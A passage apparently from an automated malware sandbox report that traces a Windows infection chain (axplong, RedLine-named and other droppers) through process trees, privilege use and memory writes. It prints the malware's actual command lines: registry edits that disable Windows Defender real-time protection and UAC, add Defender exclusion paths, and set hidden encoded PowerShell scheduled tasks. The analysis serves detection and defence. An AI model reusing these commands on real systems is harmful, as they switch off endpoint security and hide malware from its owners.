2088	services64.exe
2108	dialer.exe
2108	dialer.exe
2088	services64.exe
2088	services64.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2108	dialer.exe
2652	WindowsAutHost

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

file300un.exepowershell.exeregsvcs.exeArgXI9tgNtUY9VkmvL1KS89U.exepowershell.exepowershell.exeWMIC.exeredline123123.exepowershell.exepowershell.EXEpowershell.exeservices64.exepowercfg.exepowercfg.exedialer.exepowercfg.exepowercfg.exesvchost.exepowershell.exeWindowsAutHostpowercfg.exepowercfg.exedialer.exepowercfg.exedialer.exepowercfg.exe

description	pid	Process
Token: SeDebugPrivilege	1960	file300un.exe
Token: SeDebugPrivilege	376	powershell.exe
Token: SeDebugPrivilege	1520	regsvcs.exe
Token: SeManageVolumePrivilege	1348	ArgXI9tgNtUY9VkmvL1KS89U.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeIncreaseQuotaPrivilege	1492	WMIC.exe
Token: SeSecurityPrivilege	1492	WMIC.exe
Token: SeTakeOwnershipPrivilege	1492	WMIC.exe
Token: SeLoadDriverPrivilege	1492	WMIC.exe
Token: SeSystemProfilePrivilege	1492	WMIC.exe
Token: SeSystemtimePrivilege	1492	WMIC.exe
Token: SeProfSingleProcessPrivilege	1492	WMIC.exe
Token: SeIncBasePriorityPrivilege	1492	WMIC.exe
Token: SeCreatePagefilePrivilege	1492	WMIC.exe
Token: SeBackupPrivilege	1492	WMIC.exe
Token: SeRestorePrivilege	1492	WMIC.exe
Token: SeShutdownPrivilege	1492	WMIC.exe
Token: SeDebugPrivilege	1492	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1492	WMIC.exe
Token: SeRemoteShutdownPrivilege	1492	WMIC.exe
Token: SeUndockPrivilege	1492	WMIC.exe
Token: SeManageVolumePrivilege	1492	WMIC.exe
Token: 33	1492	WMIC.exe
Token: 34	1492	WMIC.exe
Token: 35	1492	WMIC.exe
Token: SeDebugPrivilege	2272	redline123123.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	2488	powershell.EXE
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	2088	services64.exe
Token: SeShutdownPrivilege	1308	powercfg.exe
Token: SeShutdownPrivilege	2848	powercfg.exe
Token: SeDebugPrivilege	2108	dialer.exe
Token: SeShutdownPrivilege	2136	powercfg.exe
Token: SeShutdownPrivilege	2776	powercfg.exe
Token: SeAuditPrivilege	844	svchost.exe
Token: SeDebugPrivilege	284	powershell.exe
Token: SeDebugPrivilege	2652	WindowsAutHost
Token: SeShutdownPrivilege	2088	powercfg.exe
Token: SeShutdownPrivilege	1548	powercfg.exe
Token: SeDebugPrivilege	1788	dialer.exe
Token: SeShutdownPrivilege	1376	powercfg.exe
Token: SeLockMemoryPrivilege	984	dialer.exe
Token: SeShutdownPrivilege	1552	powercfg.exe
Token: SeAssignPrimaryTokenPrivilege	844	svchost.exe
Token: SeIncreaseQuotaPrivilege	844	svchost.exe
Token: SeSecurityPrivilege	844	svchost.exe
Token: SeTakeOwnershipPrivilege	844	svchost.exe
Token: SeLoadDriverPrivilege	844	svchost.exe
Token: SeSystemtimePrivilege	844	svchost.exe
Token: SeBackupPrivilege	844	svchost.exe
Token: SeRestorePrivilege	844	svchost.exe
Token: SeShutdownPrivilege	844	svchost.exe
Token: SeSystemEnvironmentPrivilege	844	svchost.exe
Token: SeUndockPrivilege	844	svchost.exe
Token: SeManageVolumePrivilege	844	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	844	svchost.exe
Token: SeIncreaseQuotaPrivilege	844	svchost.exe
Token: SeSecurityPrivilege	844	svchost.exe
Token: SeTakeOwnershipPrivilege	844	svchost.exe
Token: SeLoadDriverPrivilege	844	svchost.exe
Token: SeSystemtimePrivilege	844	svchost.exe
Token: SeBackupPrivilege	844	svchost.exe

Suspicious use of FindShellTrayWindow 22 IoCs

Processes:

96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exeExplorer.EXEArgXI9tgNtUY9VkmvL1KS89U.exe

pid	Process
2136	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe

Suspicious use of SendNotifyMessage 6 IoCs

Processes:

Explorer.EXEArgXI9tgNtUY9VkmvL1KS89U.exe

pid	Process
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1204	Explorer.EXE
1348	ArgXI9tgNtUY9VkmvL1KS89U.exe

Suspicious use of SetWindowsHookEx 34 IoCs

Processes:

conhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.execonhost.exe

pid	Process
2444	conhost.exe
3924	conhost.exe
1044	conhost.exe
1384
3068	conhost.exe
2464	conhost.exe
1236	conhost.exe
2856	conhost.exe
3204	conhost.exe
3248	conhost.exe
3276	conhost.exe
3388	conhost.exe
2400	conhost.exe
1768	conhost.exe
3532	conhost.exe
3500	conhost.exe
3764	conhost.exe
760	conhost.exe
2300	conhost.exe
1448	conhost.exe
3992	conhost.exe
3944	conhost.exe
4012	conhost.exe
2948	conhost.exe
3256	conhost.exe
1500	conhost.exe
2496	conhost.exe
1800	conhost.exe
1572	conhost.exe
1132	conhost.exe
3380	conhost.exe
1324	conhost.exe
3236	conhost.exe
3232	conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

svchost.exe

pid	Process
596	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exeaxplong.exegold.exefile300un.exeregsvcs.exejudit.exeupd.exe

description	pid	Process	procid_target
PID 2136 wrote to memory of 2772	2136	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe	28
PID 2136 wrote to memory of 2772	2136	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe	28
PID 2136 wrote to memory of 2772	2136	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe	28
PID 2136 wrote to memory of 2772	2136	96190d67193af8ce4c121115007a1b757e6b581f31cbf7ba81f4f4828a81ffa8.exe	28
PID 2772 wrote to memory of 1960	2772	axplong.exe	29
PID 2772 wrote to memory of 1960	2772	axplong.exe	29
PID 2772 wrote to memory of 1960	2772	axplong.exe	29
PID 2772 wrote to memory of 1960	2772	axplong.exe	29
PID 2772 wrote to memory of 2896	2772	axplong.exe	31
PID 2772 wrote to memory of 2896	2772	axplong.exe	31
PID 2772 wrote to memory of 2896	2772	axplong.exe	31
PID 2772 wrote to memory of 2896	2772	axplong.exe	31
PID 2896 wrote to memory of 1248	2896	gold.exe	33
PID 2896 wrote to memory of 1248	2896	gold.exe	33
PID 2896 wrote to memory of 1248	2896	gold.exe	33
PID 2896 wrote to memory of 1248	2896	gold.exe	33
PID 1960 wrote to memory of 376	1960	file300un.exe	34
PID 1960 wrote to memory of 376	1960	file300un.exe	34
PID 1960 wrote to memory of 376	1960	file300un.exe	34
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1520	1960	file300un.exe	36
PID 1960 wrote to memory of 1400	1960	file300un.exe	37
PID 1960 wrote to memory of 1400	1960	file300un.exe	37
PID 1960 wrote to memory of 1400	1960	file300un.exe	37
PID 1520 wrote to memory of 1348	1520	regsvcs.exe	38
PID 1520 wrote to memory of 1348	1520	regsvcs.exe	38
PID 1520 wrote to memory of 1348	1520	regsvcs.exe	38
PID 1520 wrote to memory of 1348	1520	regsvcs.exe	38
PID 1520 wrote to memory of 1348	1520	regsvcs.exe	38
PID 1520 wrote to memory of 1348	1520	regsvcs.exe	38
PID 1520 wrote to memory of 1348	1520	regsvcs.exe	38
PID 2772 wrote to memory of 2968	2772	axplong.exe	40
PID 2772 wrote to memory of 2968	2772	axplong.exe	40
PID 2772 wrote to memory of 2968	2772	axplong.exe	40
PID 2772 wrote to memory of 2968	2772	axplong.exe	40
PID 2968 wrote to memory of 2028	2968	judit.exe	41
PID 2968 wrote to memory of 2028	2968	judit.exe	41
PID 2968 wrote to memory of 2028	2968	judit.exe	41
PID 2772 wrote to memory of 2272	2772	axplong.exe	42
PID 2772 wrote to memory of 2272	2772	axplong.exe	42
PID 2772 wrote to memory of 2272	2772	axplong.exe	42
PID 2772 wrote to memory of 2272	2772	axplong.exe	42
PID 1520 wrote to memory of 1672	1520	regsvcs.exe	43
PID 1520 wrote to memory of 1672	1520	regsvcs.exe	43
PID 1520 wrote to memory of 1672	1520	regsvcs.exe	43
PID 1520 wrote to memory of 1672	1520	regsvcs.exe	43
PID 1520 wrote to memory of 1672	1520	regsvcs.exe	43
PID 1520 wrote to memory of 1672	1520	regsvcs.exe	43
PID 1520 wrote to memory of 1672	1520	regsvcs.exe	43
PID 2772 wrote to memory of 1732	2772	axplong.exe	44
PID 2772 wrote to memory of 1732	2772	axplong.exe	44
PID 2772 wrote to memory of 1732	2772	axplong.exe	44
PID 2772 wrote to memory of 1732	2772	axplong.exe	44
PID 1732 wrote to memory of 2712	1732	upd.exe	46

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

Processes:

file300un.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
- Sets service image path in registry
- Loads dropped DLL
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  - Suspicious use of UnmapMainImage
  PID:596
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1532
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:892
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe -Embedding
    3⤵
    PID:872
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
    3⤵
    PID:2128
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:676
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  - Drops file in System32 directory
  PID:744
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:816
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1172
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:844
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {F49352B7-C691-4D47-BBA6-A6276D09CB88} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    PID:2144
  - - C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\DHAkwqCFFocyzXL\kFYCrwb.exe
      C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\DHAkwqCFFocyzXL\kFYCrwb.exe PP /PDodidDULX 385118 /S
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:2052
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:2596
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:2840
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:2384
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:3008
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:2192
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:2080
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:1376
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:2236
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:3048
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:1500
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:1640
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:1804
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:1040
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:988
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1448
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:2816
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gjfvupEkv" /SC once /ST 01:14:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:2736
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gjfvupEkv"
        5⤵
        
        PID:2404
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gjfvupEkv"
        5⤵
        
        PID:3952
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
        5⤵
        
        PID:4016
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:4056
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
        5⤵
        
        PID:4068
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1536
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "goioKQJRA" /SC once /ST 01:36:30 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:3444
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "goioKQJRA"
        5⤵
        
        PID:3352
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "goioKQJRA"
        5⤵
        
        PID:3508
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
        5⤵
        
        PID:3588
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        6⤵
        
        PID:3644
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:3680
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        8⤵
        
        PID:3728
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
        5⤵
        
        PID:760
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:1968
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
        5⤵
        
        PID:2300
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:3800
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
        5⤵
        
        PID:3808
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:3820
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
        5⤵
        
        PID:3828
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\QqEAMUespgTHJnVz" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1600
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /C copy nul "C:\Windows\Temp\QqEAMUespgTHJnVz\fGIwXMfj\QpbeBoNnQGUOmBAB.wsf"
        5⤵
        
        PID:2540
    - - C:\Windows\SysWOW64\wscript.exe
        
        wscript "C:\Windows\Temp\QqEAMUespgTHJnVz\fGIwXMfj\QpbeBoNnQGUOmBAB.wsf"
        5⤵
        Modifies data under HKEY_USERS
        
        PID:1316
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:3844
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:3932
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:3968
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:4036
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:2652
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:3648
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:2736
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:2236
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:624
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:2888
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:1160
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\nivjmgppGaMJQQVB" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:4088
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:3096
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
        6⤵
        Windows security bypass
        
        PID:3220
      - C:\Windows\SysWOW64\reg.exe
        
        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy" /t REG_DWORD /d 0 /reg:32
        6⤵
        Windows security bypass
        
        PID:3212
      - C:\Windows\SysWOW64\reg.exe
        
